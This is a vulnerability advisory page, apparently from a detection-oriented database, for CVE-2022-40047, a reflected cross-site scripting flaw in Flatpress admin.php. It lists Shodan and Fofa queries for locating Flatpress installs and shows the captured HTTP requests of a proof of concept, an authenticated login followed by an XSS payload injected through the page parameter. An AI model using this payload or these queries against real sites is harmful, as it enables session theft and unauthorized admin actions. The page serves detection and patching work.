🔙 목록으로 돌아가기

CVE-2022-40047: Flatpress < v1.2.1 - Cross Site Scripting

TitleFlatpress < v1.2.1 - Cross Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactAuthenticated attackers can inject malicious JavaScript through the page parameter in admin.php that executes in other users' browsers, potentially stealing session tokens or performing unauthorized actions in Flatpress blog administration.
RemediationUpdate Flatpress to a version later than 1.2.1 that properly sanitizes and encodes the page parameter in admin.php.
CVSS Score5.4
EPSS Score0.19551
CVE IDCVE-2022-40047
CWE IDCWE-79
Shodan Queryhttp.html:"flatpress"http.favicon.hash:-1189292869
Fofa Querybody="flatpress"icon_hash=-1189292869
Tags cve cve2022 flatpress authenticated xss intrusive vuln

🔍 Vulnerability Description

Flatpress v1.2.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the page parameter at /flatpress/admin.php.

🌐 HTTP Request

POST /login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Content-Length: 336
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxamj3sefkjmgkqgt
Accept-Encoding: gzip

------WebKitFormBoundaryxamj3sefkjmgkqgt

Content-Disposition: form-data; name="user"



LnNphF

------WebKitFormBoundaryxamj3sefkjmgkqgt

Content-Disposition: form-data; name="pass"



9XE5Fq

------WebKitFormBoundaryxamj3sefkjmgkqgt

Content-Disposition: form-data; name="submit"



Login

------WebKitFormBoundaryxamj3sefkjmgkqgt--
GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.domain%29%22autofocus%3d%22zr4da HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40047.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-40047.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A